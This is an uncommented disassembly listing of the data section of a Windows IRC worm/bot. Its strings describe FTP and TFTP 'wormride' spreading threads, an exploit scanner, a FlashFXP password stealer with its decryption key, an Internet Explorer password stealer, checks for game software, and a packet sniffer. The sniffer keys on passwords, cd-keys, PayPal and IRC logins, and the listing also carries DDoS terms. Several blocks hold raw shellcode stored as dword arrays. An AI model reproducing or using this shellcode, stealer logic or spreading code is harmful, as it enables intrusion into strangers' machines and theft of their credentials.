cAddress:0041196Fr align 10h unk_41C520 db 2Dh ; - ; DATA XREF: cAddress:00411948o db 3, 30h, 34h db 2 db 25h, 73h, 3 db 2 aU_TransferToSC db '- %u. Transfer to %s complete.',0 aFtp_0 db 'ftp',0 ; DATA XREF: cAddress:00411943o dword_41C54C dd 16BF48h ; DATA XREF: cAddress:00411879r dd 2 dup(0) a226 db '226 -',0Dh,0Ah,0 ; DATA XREF: cAddress:00411832o ; cAddress:004118E5o aX32000Fh1024Ja db '-x 3 2000 fh 1024 Jan 1 0:00 .',0Dh,0Ah ; DATA XREF: cAddress:004117EAo db 'drwxr-xr-x 3 2000 fh 1024 Jan 1 0:00 ..',0Dh,0Ah db '-rwxr-xr-x 3 2000 fh %u Jan 1 0:00 %s',0Dh,0Ah,0 align 4 a150 db '150 -',0Dh,0Ah,0 ; DATA XREF: cAddress:00411702o ; cAddress:0041188Co dword_41C5DC dd 1192A0h ; DATA XREF: cAddress:004116EFr dd 2 dup(0) a213U db '213 %u',0Dh,0Ah,0 ; DATA XREF: cAddress:004116A8o align 4 dword_41C5F4 dd 9AAA8h ; DATA XREF: cAddress:00411628r align 10h aUUUUUU db '%u,%u,%u,%u,%u,%u',0 ; DATA XREF: cAddress:00411562o align 4 dword_41C614 dd 10E3A0h ; DATA XREF: cAddress:00411525r align 10h a425 db '425 -',0Dh,0Ah,0 ; DATA XREF: cAddress:004114DEo dword_41C628 dd 123230h ; DATA XREF: cAddress:004114CFr dd 2 dup(0) a200 db '200 -',0Dh,0Ah,0 ; DATA XREF: cAddress:00411488o ; cAddress:004115E1o dword_41C63C dd 949E8h ; DATA XREF: cAddress:00411479r dd 2 dup(0) a257 db '257 "/" -',0Dh,0Ah,0 ; DATA XREF: cAddress:00411432o dword_41C654 dd 238A0h ; DATA XREF: cAddress:00411423r dd 0 a211 db '211 -',0Dh,0Ah,0 ; DATA XREF: cAddress:004113DCo dword_41C664 dd 0B3160h ; DATA XREF: cAddress:004113CDr align 10h a215 db '215 -',0Dh,0Ah,0 ; DATA XREF: cAddress:00411386o dword_41C678 dd 9B2A0h ; DATA XREF: cAddress:00411377r dd 2 dup(0) a230 db '230 -',0Dh,0Ah,0 ; DATA XREF: cAddress:0041131Co dword_41C68C dd 1230E8h ; DATA XREF: cAddress:00411303r dd 2 dup(0) a331 db '331 -',0Dh,0Ah,0 ; DATA XREF: cAddress:004112BCo dword_41C6A0 dd 128588h ; DATA XREF: cAddress:004112A6r dd 2 dup(0) dword_41C6AC dd 0A0D20h ; DATA XREF: cAddress:00411224o ; cAddress:00411250o ... a220 db '220 -',0Dh,0Ah,0 ; DATA XREF: cAddress:0041114Eo a230_0 db '230',0 ; DATA XREF: sub_411A09+193o aPass1 db 'PASS 1',0Dh,0Ah,0 ; DATA XREF: sub_411A09+11Do align 4 a331_0 db '331',0 ; DATA XREF: sub_411A09+F9o aUser1 db 'USER 1',0Dh,0Ah,0 ; DATA XREF: sub_411A09:loc_411A8Ao align 4 a220_0 db '220',0 ; DATA XREF: sub_411A09+63o unk_41C6DC db 2Dh ; - ; DATA XREF: sub_411BBC+115o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aRunningFtpWorm db '- Running FTP wormride thread',0 align 4 a127_0_0_1 db '127.0.0.1',0 ; DATA XREF: sub_411BBC+6Eo align 10h aFtpWormrideThr db 'FTP wormride thread',0 ; DATA XREF: sub_411D68+36o dword_41C724 dd 4000500h, 7868746Bh, 0 ; DATA XREF: cAddress:004123A7o unk_41C730 db 2Dh ; - ; DATA XREF: cAddress:00412382o db 3, 30h, 34h db 2 db 25h, 73h, 3 db 2 aU_TftpTransfer db '- %u. tftp transfer to %s complete.',0 align 10h aWormride db 'wormride',0 ; DATA XREF: cAddress:0041237Do align 4 dword_41C76C dd 1000500h, 656C6946h, 746F4E20h, 756F4620h, 646Eh ; DATA XREF: cAddress:0041212Co aOctet db 'octet',0 ; DATA XREF: cAddress:004120F8o ; cAddress:0041210Ao align 4 unk_41C788 db 2Dh ; - ; DATA XREF: cAddress:00411F09o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aRunningTftpWor db '- Running TFTP wormride thread',0 aTftpWormrideTh db 'TFTP wormride thread',0 ; DATA XREF: sub_4123F6+2Bo align 4 dword_41C7C8 dd 0B915EBh, 81000000h, 0F1h, 74805E00h, 0E200FF31h, 0E805EBF9h ; DATA XREF: sub_4125DF+50o dd 0FFFFFFE6h, 0 dword_41C7E8 dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h ; DATA XREF: sub_4124A0+CBo dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h, 338B04C3h dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h dd 5EEBD1D8h, 3245E03h, 0B8B66DFh, 31C5E8Bh, 8B048BDFh dd 5B5EC703h, 685EE0FFh, 3233h, 32737768h, 92BA545Fh, 0FF84046Eh dd 81F88BD6h, 200ECh, 53EC8B00h, 26A016Ah, 835383BAh, 53D6FF00h dd 6853h, 2680000h, 8B000000h, 6AD88BD4h, 0BA535210h, 5A603063h dd 0B450D6FFh, 53555002h, 605800BAh, 0BFD6FFE2h, 0 dd 0E5FFh dword_41C89C dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h ; DATA XREF: sub_4124A0+8Co dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h, 338B04C3h dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h dd 5EEBD1D8h, 3245E03h, 0B8B66DFh, 31C5E8Bh, 8B048BDFh dd 5B5EC703h, 685EE0FFh, 3233h, 32737768h, 92BA545Fh, 0FF84046Eh dd 81F88BD6h, 200ECh, 53EC8B00h, 26A016Ah, 835383BAh, 53D6FF00h dd 2685353h, 8B000000h, 6AD88BD4h, 0BA535210h, 0C2A69000h dd 5040D6FFh, 3B7ABA53h, 0D6FFA173h, 0BA535050h, 69D310h dd 0D88BD6FFh, 0B450C033h, 53555002h, 605800BAh, 0BFD6FFE2h dd 0 dd 0E5FFh dword_41C964 dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h ; DATA XREF: sub_4124A0+36o dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h, 338B04C3h dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h dd 5EEBD1D8h, 3245E03h, 0B8B66DFh, 31C5E8Bh, 8B048BDFh dd 5B5EC703h, 685EE0FFh, 3233h, 32737768h, 92BA545Fh, 0FF84046Eh dd 81F88BD6h, 200ECh, 6AEC8B00h, 55544310h, 7232BA53h dd 0D6FF1979h, 27D8166h, 0ED751111h, 22047D81h, 75222222h dd 2B450E4h, 0BA535550h, 0E2605800h, 7D81D6FFh, 20EC8300h dd 0BFEA758Bh, 0 dd 0E5FFh dword_41CA18 dd 8B20EC83h, 45D89ECh, 81007D89h, 200ECh, 14658900h, 8B64DB33h ; DATA XREF: sub_412720+71o dd 408B3043h, 1C708B0Ch, 8788BADh, 0E8087D89h, 45h, 5F8B5653h dd 3B5C8B3Ch, 53DF0378h, 3205B8Bh, 0C38353DFh, 3338B04h dd 0ACC933F7h, 0C1C1C832h, 75C08405h, 75CA2BF6h, 0D82B58E9h dd 35EEBD1h, 0DF03245Eh, 8B0B8B66h, 0DF031C5Eh, 38B048Bh dd 0FF5B5EC7h, 33685EE0h, 68000032h, 5F327377h, 6E92BA54h dd 0D6FF8404h, 8B0C4589h, 46A53F8h, 475FF55h, 669000BAh dd 83D6FFE0h, 850F04F8h, 0C5h, 0E8087D8Bh, 0Dh, 3 dup(0) dd 18458F00h, 6A026A53h, 68535301h, 0C0000000h, 0BA1875FFh dd 5C6BD33Dh, 4589D6FFh, 840F401Ch, 8Dh, 330C7D8Bh, 2B450C0h dd 1475FF50h, 0BA0475FFh, 0E2605800h, 7D8BD6FFh, 74C08508h dd 41C88B1Eh, 8D535774h, 5051104Dh, 0FF1475FFh, 0B9BA1C75h dd 0FFCBF5BEh, 74C085D6h, 0FFC5EB40h, 5CBA1C75h, 0FF9DC593h dd 58446AD6h, 0FC8BE02Bh, 33ABD78Bh, 59106AC0h, 8BFDE2ABh dd 5252087Dh, 50505050h, 0FF505050h, 2CBA1875h, 0FF2694F1h dd 0C7FE58D6h, 1BA5053h, 0FFDE34D6h, 1C75FFD6h, 0C5935CBAh dd 0FFD6FF9Dh, 3DBA1875h, 0FF27CF53h, 0C7D8BD6h, 0BA0475FFh dd 7315685h, 7D8BD6FFh, 46BABA08h, 0D6FFC10Ch db 0 byte_41CB95 db 0E3h ; DATA XREF: sub_4125DF+CFr ; sub_4125DF+E4w align 4 dword_41CB98 dd 4113E68Bh ; DATA XREF: sub_4125DF+60r ; sub_4125DF+75w align 10h off_41CBA0 dd offset dword_41CC28 ; DATA XREF: sub_4127D0+77r dd offset aB_0 ; "êÍÖ¡" dd offset dword_41CC14 dd offset aMpRRdJ ; "¬ÁÜÆÁ×êIJà„׆Ï" dd offset aCB ; "çÌס" dd offset dword_41CC14 dd offset dword_41CBDC dd offset aUG ; "îÌÜ£·" dd offset dword_41CC14 align 10h aUG db 'îÌÜ£·',0 ; DATA XREF: cAddress:0041CBBCo ; cAddress:0041DA5Co align 4 dd 0 dword_41CBDC dd 0FAC18FACh, 0C9F7BFE2h, 0A387EFFBh, 2 dup(0) ; DATA XREF: cAddress:0041CBB8o ; cAddress:0041DA58o aCB db 'çÌס',0 ; DATA XREF: cAddress:0041CBB0o ; cAddress:0041DA50o align 4 dd 0 aMpRRdJ db '¬ÁÜÆÁ×êIJà„׆Ï',0 ; DATA XREF: cAddress:0041CBACo ; cAddress:0041DA4Co align 10h dd 0 dword_41CC14 dd 2 dup(0) ; DATA XREF: cAddress:0041CBA8o ; cAddress:0041CBB4o ... aB_0 db 'êÍÖ¡',0 ; DATA XREF: cAddress:0041CBA4o ; cAddress:off_41DA44o align 8 dword_41CC28 dd 0FFC18FACh, 0C3FCE8E2h, 0B492F6B1h, 0E6AEF0E3h, 0B0h ; DATA XREF: cAddress:off_41CBA0o ; cAddress:off_41DA40o dd 0 dword_41CC40 dd 72h ; DATA XREF: sub_412A3A:loc_412B93o dword_41CC44 dd 62h ; DATA XREF: sub_412BC9:loc_412D11o dword_41CC48 dd 63h ; DATA XREF: cAddress:loc_412DC8o dword_41CC4C dd 3430032Dh, 3752502h, 52202D02h, 696E6E75h, 7320676Eh ; DATA XREF: cAddress:00412E68o dd 6C6C6568h, 65646F63h, 72657320h, 20726576h, 70206E6Fh dd 2074726Fh, 2343003h, 2037325h, 0 dword_41CC84 dd 6C656853h, 646F636Ch, 65732065h, 72657672h, 206E6F20h ; DATA XREF: sub_412F07+98o dd 74726F70h, 34300320h, 3752502h, 2 byte_41CCA8 db 0BBh ; DATA XREF: sub_41294E+3Co ; sub_41294E+4Co ... db 9Fh, 80h, 0FCh dd 0B1h, 2 dup(0) dd 0EE000000h, 0DACFh, 3 dup(0) db 2 dup(0) dword_41CCCE dd 6B4B9C36h ; DATA XREF: sub_41294E+2Br ; sub_412FC6+31r ... dword_41CCD2 dd 0 ; DATA XREF: sub_412FC6+57w ; cAddress:00414107r ... off_41CCD6 dd offset loc_410649 ; DATA XREF: sub_41294E+1Cr ; sub_412FC6+18r ... dw 3 dd 0 dd 99B10000h, 0F8E2E19Bh, 0FAh, 2 dup(0) dd 0DAC8EB00h, 4 dup(0) dd 0B0BDB615h, 0 dd offset loc_410B52 dd 3, 10h dup(0) aWin32 db '(Win32)',0 ; DATA XREF: sub_41308F+217o aUnix db '(Unix)',0 ; DATA XREF: sub_41308F+1F1o align 4 aApacheU db 'Apache/%u',0 ; DATA XREF: sub_41308F+1DFo align 4 aApache db 'Apache',0 ; DATA XREF: sub_41308F+1B9o align 4 aMicrosoftIisU_ db 'Microsoft-IIS/%u.%u',0 ; DATA XREF: sub_41308F+130o aMicrosoftIis db 'Microsoft-IIS',0 ; DATA XREF: sub_41308F+FCo align 10h aServer db 'Server:',0 ; DATA XREF: sub_41308F+7Ao aOptionsHttp1_0 db 'OPTIONS / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41308F+Bo db 0Dh,0Ah,0 align 10h unk_41CDC0 db 53h ; S ; DATA XREF: cAddress:00413A80o db 63h, 61h, 6Eh db 6Eh ; n db 65h, 64h, 20h db 3 db 30h, 34h, 2 db 25h ; % db 73h, 3, 2 db 3Ah ; : db 25h, 73h, 20h db 69h ; i db 6Eh, 20h, 3 db 30h ; 0 db 34h, 2, 25h db 30h ; 0 db 2Eh, 32h, 66h db 3 db 2, 73h, 65h db 63h ; c db 2Eh, 20h, 3 db 30h ; 0 db 34h, 2, 25h db 75h ; u db 3, 2, 20h aOpenIpSFound db 'open IP(s) found',0 align 4 dword_41CE04 dd 2343003h, 2037325h, 2073253Ah, 6F207369h, 6E6570h ; DATA XREF: cAddress:004139FAo dword_41CE18 dd 3430032Dh, 3752502h, 53202D02h, 6E6E6163h, 20676E69h ; DATA XREF: cAddress:004137DFo dd 2343003h, 2037325h, 2073253Ah, 20726F66h, 2343003h dd 2037525h, 63657320h, 28646E6Fh, 2973h dword_41CE50 dd 6E616353h, 676E696Eh, 34300320h, 3732502h, 73253A02h ; DATA XREF: cAddress:004137A1o dd 726F6620h, 34300320h, 3752502h, 65732002h, 646E6F63h dd 297328h unk_41CE7C db 53h ; S ; DATA XREF: sub_413AB0+1DCo db 63h, 61h, 6Eh db 6Eh ; n db 69h, 6Eh, 67h db 20h db 3, 30h, 34h db 2 db 25h, 73h, 3 db 2 db 3Ah, 25h, 73h db 20h db 66h, 6Fh, 72h db 20h db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aSecondSTUSU db ' second(s), t:%u s:%u',0 align 4 dword_41CEB4 dd 3430032Dh, 3752502h, 41202D02h, 6D657474h, 64657470h ; DATA XREF: cAddress:00413FC1o dd 34300320h, 3752502h, 78652002h, 696F6C70h, 69746174h dd 73286E6Fh, 6E6F2029h, 34300320h, 3752502h, 50492002h dd 2E297328h, 0 dword_41CEF8 dd 65747441h, 6974706Dh, 7420676Eh, 7865206Fh, 696F6C70h ; DATA XREF: cAddress:00413F63o dd 30032074h, 73250234h, 77200203h, 20687469h, 2343003h dd 2037325h, 2E2E2Eh unk_41CF28 db 2Dh ; - ; DATA XREF: cAddress:00413CE4o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aAttemptingTo_0 db '- Attempting to exploit IP',27h,'s in list.',0 align 4 aAttemptingToEx db 'Attempting to exploit IP',27h,'s in list.',0 ; DATA XREF: sub_413FE7+52o dword_41CF7C dd 3003203Ah, 75250234h, 202E0203h, 0 ; DATA XREF: cAddress:0041410Do aExploitStatist db 'Exploit statistics - ',0 ; DATA XREF: cAddress:0041407Bo align 4 aListingExploit db 'Listing exploit statistics',0 ; DATA XREF: sub_41417D+2Bo align 10h dword_41CFC0 dd 62616E55h, 7420656Ch, 6F63206Fh, 63656E6Eh, 6F742074h ; DATA XREF: cAddress:00414299o dd 34300320h, 3732502h, 6F702002h, 3207472h, 25023430h dd 2E020373h, 0 dword_41CFF0 dd 656D6954h, 2074756Fh, 7563636Fh, 20646572h, 6C696877h ; DATA XREF: cAddress:00414275o dd 6F632065h, 63656E6Eh, 676E6974h, 206F7420h, 2343003h dd 2037325h, 3430033Ah, 3732502h, 202E02h dword_41D028 dd 6E6E6F43h, 65746365h, 6F742064h, 34300320h, 3732502h ; DATA XREF: cAddress:00414239o dd 30033A02h, 73250234h, 69200203h, 3003206Eh, 75250234h dd 203736Dh, 2Eh dword_41D058 dd 6E6E6F43h, 69746365h, 7420676Eh, 7325206Fh, 726F7020h ; DATA XREF: sub_4142BF+D8o dd 30032074h, 73250234h, 203h unk_41D078 db 53h ; S ; DATA XREF: cAddress:004145D1o db 63h, 61h, 6Eh db 6Eh ; n db 65h, 64h, 20h db 25h ; % db 73h, 20h, 69h db 6Eh ; n db 20h, 3, 30h db 34h ; 4 db 2, 25h, 30h db 2Eh ; . db 32h, 66h, 3 db 2 db 73h, 65h, 63h db 2Eh ; . db 20h, 3, 30h db 34h ; 4 db 2, 25h, 75h db 3 db 2, 20h, 6Fh aPenPortSFound db 'pen port(s) found',0 align 4 dword_41D0B4 dd 33A7325h, 25023430h, 20020373h, 6F207369h, 6E6570h ; DATA XREF: cAddress:0041456Ao dword_41D0C8 dd 3430032Dh, 3752502h, 53202D02h, 6E6E6163h, 20676E69h ; DATA XREF: cAddress:00414431o dd 70207325h, 2074726Fh, 2343003h, 2037525h, 3430032Dh dd 3752502h, 69772002h, 3206874h, 25023430h, 20020375h dd 6B636F73h, 73287465h, 29h dword_41D110 dd 6E616353h, 676E696Eh, 20732520h, 74726F70h, 34300320h ; DATA XREF: sub_414600+1BEo dd 3752502h, 30032D02h, 75250234h, 77200203h, 20687469h dd 2343003h, 2037525h, 636F7320h, 2874656Bh, 2973h aYa36za48dehfrv db 'yA36zA48dEhfrvghGRg57h5UlDv3',0 ; DATA XREF: sub_4147E5+6o ; sub_4147E5+C6o align 4 aSflashfxpSites db '%sFlashFXP\sites.dat',0 ; DATA XREF: sub_4148CE+107o align 4 aFlashfxpSites_ db '\FlashFXP\sites.dat',0 ; DATA XREF: sub_4148CE+B6o aProgramfiles db 'ProgramFiles',0 ; DATA XREF: sub_4148CE+ABo align 4 aSites_dat db 'sites.dat',0 ; DATA XREF: sub_4148CE:loc_414945o align 4 aFlashfxp_exe1 db 'FlashFXP.exe %1',0 ; DATA XREF: sub_4148CE+57o aSoftwareClasse db 'SOFTWARE\Classes\Applications\FlashFXP.exe\shell\open\command',0 ; DATA XREF: sub_4148CE+15o align 4 unk_41D204 db 2Dh ; - ; DATA XREF: cAddress:00414E82o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 db 2Dh, 20h, 4Ch db 69h ; i db 73h, 74h, 65h db 64h ; d db 20h, 3, 30h db 34h ; 4 db 2, 25h, 75h db 3 db 2, 2Fh, 3 db 30h ; 0 db 34h, 2, 25h db 75h ; u db 3, 2, 20h aFlashfxpPass_0 db 'FlashFXP password(s).',0 align 10h dword_41D240 dd 2343003h, 2037525h ; DATA XREF: cAddress:00414DE2o a_FlashfxpFtpSS db '. FlashFXP - ftp://%s:%s@%s:%s - %s',0 aPass127s db 0Dh,0Ah ; DATA XREF: cAddress:00414D70o db 'Pass=%127s',0Dh,0Ah,0 align 4 aUser127s db 0Dh,0Ah ; DATA XREF: cAddress:00414D56o db 'User=%127s',0Dh,0Ah,0 align 4 aPort127s db 0Dh,0Ah ; DATA XREF: cAddress:00414D3Co db 'Port=%127s',0Dh,0Ah,0 align 4 aIp127s db 0Dh,0Ah ; DATA XREF: cAddress:00414D22o db 'IP=%127s',0Dh,0Ah,0 align 4 asc_41D2AC db '[%[^]]]',0Dh,0Ah,0 ; DATA XREF: cAddress:00414D08o align 4 aPass db 0Dh,0Ah ; DATA XREF: cAddress:00414C12o db 'Pass=',0 aUser db 0Dh,0Ah ; DATA XREF: cAddress:00414BFAo db 'User=',0 aPort db 0Dh,0Ah ; DATA XREF: cAddress:00414BE2o db 'Port=',0 aIp db 0Dh,0Ah ; DATA XREF: cAddress:00414BCAo db 'IP=',0 align 4 asc_41D2D8 db 0Dh,0Ah ; DATA XREF: cAddress:loc_414BA6o db 0Dh,0Ah db '[',0 align 10h unk_41D2E0 db 2Dh ; - ; DATA XREF: cAddress:00414A73o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aListingFlashfx db '- Listing FlashFXP passwords',0 align 4 aFlashfxpPasswo db 'FlashFXP password stealer',0 ; DATA XREF: sub_414EB0+2Bo align 4 dd 3430032Dh, 3752502h, 4C202D02h, 65747369h, 30032064h dd 75250234h, 69200203h, 7265746Eh, 2074656Eh, 6C707865h dd 7265726Fh, 73617020h, 726F7773h, 29732864h, 2Eh, 2343003h dd 2037525h, 4549202Eh, 7475413Ah, 6D6F436Fh, 74656C70h dd 61502065h, 6F777373h, 20736472h, 6953202Dh, 203A6574h dd 2343003h, 2037325h, 614E202Eh, 203A656Dh, 2343003h dd 2037325h, 6150202Eh, 6F777373h, 203A6472h, 2343003h dd 2037325h, 2Eh, 2343003h, 2037525h, 4549202Eh, 7475413Ah dd 6F43206Fh, 656C706Dh, 66206574h, 646C6569h, 202D2073h dd 6C656946h, 3203A64h, 25023430h, 2E020373h, 74614420h dd 3203A61h, 25023430h, 2E020373h, 0 aHttps db 'https:/',0 aHttp_0 db 'http:/',0 align 4 aString db ':String',0 aStringindex db 'StringIndex',0 aE161255a db 'e161255a',0 align 4 dd 2343003h, 2037525h, 534D202Eh, 7845204Eh, 726F6C70h dd 2D207265h, 4E534D20h, 3A444920h, 34300320h, 3732502h dd 50202E02h, 77737361h, 3A64726Fh, 34300320h, 3732502h dd 2E02h, 2Ch, 31383962h, 32356339h, 0 dd 2343003h, 2037525h, 4549202Eh, 7361503Ah, 726F7773h dd 72502D64h, 6365746Fh, 20646574h, 6953202Dh, 203A6574h dd 2343003h, 2037325h, 614E202Eh, 203A656Dh, 2343003h dd 2037325h, 6150202Eh, 6F777373h, 203A6472h, 2343003h dd 2037325h, 2Eh, 65376535h, 30303138h, 0 dd 2343003h, 2037525h, 754F202Eh, 6F6F6C74h, 7078456Bh dd 73736572h, 4E202D20h, 3A656D61h, 34300320h, 3732502h dd 50202E02h, 77737361h, 3A64726Fh, 34300320h, 3732502h dd 2E02h, 64303232h, 31636335h, 0 dd 737725h, 7825h, 3430032Dh, 3752502h, 4C202D02h, 69747369h dd 6920676Eh, 7265746Eh, 2074656Eh, 6C707865h, 7265726Fh dd 73617020h, 726F7773h, 7364h, 0 dd 5A6F1EC0h, 11D02DB1h, 0C000398Ch, 6B12D94Fh aInternetExplor db 'Internet explorer password stealer',0 ; DATA XREF: sub_415AF0+36o align 4 dword_41D5A4 dd 65746E49h, 74736572h, 20676E69h, 636F7270h, 65737365h ; DATA XREF: cAddress:00415DD7o dd 202D2073h, 75736956h, 43206C61h, 36202B2Bh, 3003203Ah dd 73250234h, 202E0203h, 65726E55h, 52496C61h, 203A4443h dd 2343003h, 2037325h, 7453202Eh, 3A6D6165h, 34300320h dd 3732502h, 57202E02h, 646C726Fh, 20664F20h, 63726157h dd 74666172h, 3003203Ah, 73250234h, 202E0203h, 716E6F43h dd 20726575h, 696C6E4Fh, 203A656Eh, 2343003h, 2037325h dd 2Eh aSoftwareValveS db 'Software\Valve\Steam',0 ; DATA XREF: cAddress:00415CA9o align 4 aSoftwareMicr_0 db 'SOFTWARE\Microsoft\VisualStudio\6.0\Setup\Microsoft Visual C++',0 ; DATA XREF: cAddress:00415C6Ao align 4 aConquer db '[Conquer]',0 ; DATA XREF: cAddress:loc_415C2Fo align 4 aWorldOfWarcraf db 'World Of Warcraft',0 ; DATA XREF: cAddress:loc_415C0Eo align 4 aUnreal3 db 'Unreal3',0 ; DATA XREF: cAddress:00415BECo aListingInteres db 'Listing interesting processes',0 ; DATA XREF: sub_415DFD+2Bo align 4 off_41D6D4 dd offset aUser_0 ; DATA XREF: sub_415EB7+32o ; "user " dd offset aUnknown_1 ; "unknown " dd offset aPass_1 ; "pass " dd offset aMailpass ; "MailPass " dd offset aOper ; "oper " dd 0 dd offset aIdentify ; "identify " dd 0 dd offset aAuth ; " :auth " dd 0 dd offset aPasswd_0 ; "passwd=" dd 0 dd offset aUsername_0 ; "username=" dd 0 dd offset aPassword_0 ; "password=" dd 0 dd offset aLogin_1 ; "login=" dd 0 dd offset aPass_2 ; "pass=" dd 0 dd offset aPw ; "pw=" align 10h off_41D730 dd offset aLogin ; DATA XREF: sub_415EB7+54o ; "login " align 8 dd offset aSxt ; "sxt " align 10h dd offset aAuth_0 ; "auth " align 8 dd offset aPasswort ; "passwort " align 10h dd offset aCdkey ; "cdkey" align 8 dd offset aCdKey ; "cd-key" align 10h dd offset aCdKey_0 ; "cd key" align 8 dd offset aPassword ; "password" align 10h dd offset aPaypal_com ; "paypal.com" align 8 dd offset aPaypal ; "paypal" align 10h dd offset aIrcOperator ; "irc operator" align 8 dd offset aLP ; "l/p" align 10h dd offset aSsh1_5 ; "SSH-1.5" align 8 dd offset aSsh1_99 ; "SSH-1.99" dd 2 dup(0) off_41D7A4 dd offset aSetCookie ; DATA XREF: sub_415EB7+76o ; "Set-Cookie:" dd 0 dd offset aSyn ; "syn" dd 0 dd offset aFlood ; "flood " dd 0 dd offset aClone ; "clone " dd 0 dd offset aServU ; "serv-u" dd 0 dd offset aServU_0 ; "serv u" dd 0 dd offset aServu ; "servu" dd 0 dd offset aDdos ; "ddos" dd 2 dup(0) off_41D7E8 dd offset aPrivmsg_0 ; DATA XREF: sub_415EB7+98o ; "PRIVMSG " align 10h dd offset aNotice_0 ; "NOTICE " align 8 dd offset aTopic ; "TOPIC " align 10h dd offset aJoin_0 ; "JOIN " align 8 dd offset aPart ; "PART " align 10h dd offset aQuit ; "QUIT " dd 2 dup(0) aQuit db 'QUIT ',0 ; DATA XREF: cAddress:0041D810o align 4 aPart db 'PART ',0 ; DATA XREF: cAddress:0041D808o align 4 aJoin_0 db 'JOIN ',0 ; DATA XREF: cAddress:0041D800o align 4 aTopic db 'TOPIC ',0 ; DATA XREF: cAddress:0041D7F8o align 4 aNotice_0 db 'NOTICE ',0 ; DATA XREF: cAddress:0041D7F0o aPrivmsg_0 db 'PRIVMSG ',0 ; DATA XREF: cAddress:off_41D7E8o align 10h aDdos db 'ddos',0 ; DATA XREF: cAddress:0041D7DCo align 4 aServu db 'servu',0 ; DATA XREF: cAddress:0041D7D4o align 10h aServU_0 db 'serv u',0 ; DATA XREF: cAddress:0041D7CCo align 4 aServU db 'serv-u',0 ; DATA XREF: cAddress:0041D7C4o align 10h aClone db 'clone ',0 ; DATA XREF: cAddress:0041D7BCo align 4 aFlood db 'flood ',0 ; DATA XREF: cAddress:0041D7B4o align 10h aSyn db 'syn',0 ; DATA XREF: cAddress:0041D7ACo aSetCookie db 'Set-Cookie:',0 ; DATA XREF: cAddress:off_41D7A4o aSsh1_99 db 'SSH-1.99',0 ; DATA XREF: cAddress:0041D798o align 4 aSsh1_5 db 'SSH-1.5',0 ; DATA XREF: cAddress:0041D790o aLP db 'l/p',0 ; DATA XREF: cAddress:0041D788o aIrcOperator db 'irc operator',0 ; DATA XREF: cAddress:0041D780o align 4 aPaypal db 'paypal',0 ; DATA XREF: cAddress:0041D778o align 10h aPaypal_com db 'paypal.com',0 ; DATA XREF: cAddress:0041D770o align 4 aCdKey_0 db 'cd key',0 ; DATA XREF: cAddress:0041D760o align 4 aCdKey db 'cd-key',0 ; DATA XREF: cAddress:0041D758o align 4 aCdkey db 'cdkey',0 ; DATA XREF: cAddress:0041D750o align 4 aPasswort db 'passwort ',0 ; DATA XREF: cAddress:0041D748o align 10h aAuth_0 db 'auth ',0 ; DATA XREF: cAddress:0041D740o align 4 aSxt db 'sxt ',0 ; DATA XREF: cAddress:0041D738o align 10h aLogin db 'login ',0 ; DATA XREF: cAddress:off_41D730o align 4 aPw db 'pw=',0 ; DATA XREF: cAddress:0041D724o aPass_2 db 'pass=',0 ; DATA XREF: cAddress:0041D71Co align 4 aLogin_1 db 'login=',0 ; DATA XREF: cAddress:0041D714o align 4 aPassword_0 db 'password=',0 ; DATA XREF: cAddress:0041D70Co align 4 aUsername_0 db 'username=',0 ; DATA XREF: cAddress:0041D704o align 4 aPasswd_0 db 'passwd=',0 ; DATA XREF: cAddress:0041D6FCo aAuth db ' :auth ',0 ; DATA XREF: cAddress:0041D6F4o aIdentify db 'identify ',0 ; DATA XREF: cAddress:0041D6ECo align 10h aOper db 'oper ',0 ; DATA XREF: cAddress:0041D6E4o align 4 aMailpass db 'MailPass ',0 ; DATA XREF: cAddress:0041D6E0o align 4 aPass_1 db 'pass ',0 ; DATA XREF: cAddress:0041D6DCo align 4 aUnknown_1 db 'unknown ',0 ; DATA XREF: cAddress:0041D6D8o align 4 aUser_0 db 'user ',0 ; DATA XREF: cAddress:off_41D6D4o align 10h dword_41D980 dd 70737553h, 6F696369h, 70207375h, 656B6361h, 72662074h ; DATA XREF: cAddress:00416537o dd 3206D6Fh, 25023430h, 3A020373h, 2343003h, 2037525h dd 73253E2Dh, 2075253Ah, 0 unk_41D9B4 db 2Dh ; - ; DATA XREF: cAddress:0041610Fo db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 db 2Dh, 20h, 4Ch db 65h ; e db 76h, 65h, 6Ch db 20h db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aPacketSnifferR db ' packet sniffer running',0 align 4 dword_41D9E8 dd 6576654Ch, 3003206Ch, 75250234h, 70200203h, 656B6361h ; DATA XREF: sub_41665C+8Eo dd 6E732074h, 65666669h, 72h, 41DA0Ch, 0FD8093AFh, 0D2E6E2ADh dd 0A99AE3FBh, 2 dup(0) dword_41DA20 dd 0E3F44AC0h ; DATA XREF: sub_40A9CF+843r ; cAddress:00416845r ... dword_41DA24 dd 94CFA2BAh ; DATA XREF: cAddress:0041683Dr dword_41DA28 dd 11B29A82h ; DATA XREF: cAddress:00416832r dword_41DA2C dd 2B0ED8BCh ; DATA XREF: cAddress:0041682Cr dd 2 dup(0) off_41DA38 dd offset dword_41DD10 ; DATA XREF: sub_40E618+1C3r ; sub_40E618+1D5r ... align 10h off_41DA40 dd offset dword_41CC28 ; DATA XREF: sub_40A9CF+7B3r ; sub_40CF2F+82r ... off_41DA44 dd offset aB_0 ; DATA XREF: sub_40CF2F+B8r ; "êÍÖ¡" off_41DA48 dd offset dword_41CC14 ; DATA XREF: sub_40CF2F+D0r ; sub_40CF2F+DFr dd offset 